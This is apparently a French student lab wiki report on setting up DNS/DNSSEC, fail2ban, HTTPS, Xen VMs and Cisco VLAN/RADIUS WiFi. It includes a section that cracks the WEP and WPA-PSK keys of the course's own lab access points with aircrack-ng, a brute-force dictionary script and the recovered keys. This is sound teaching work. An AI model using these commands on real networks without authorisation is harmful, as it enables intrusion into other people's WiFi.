Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12263</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12263"/>
		<updated>2026-02-12T15:56:16Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
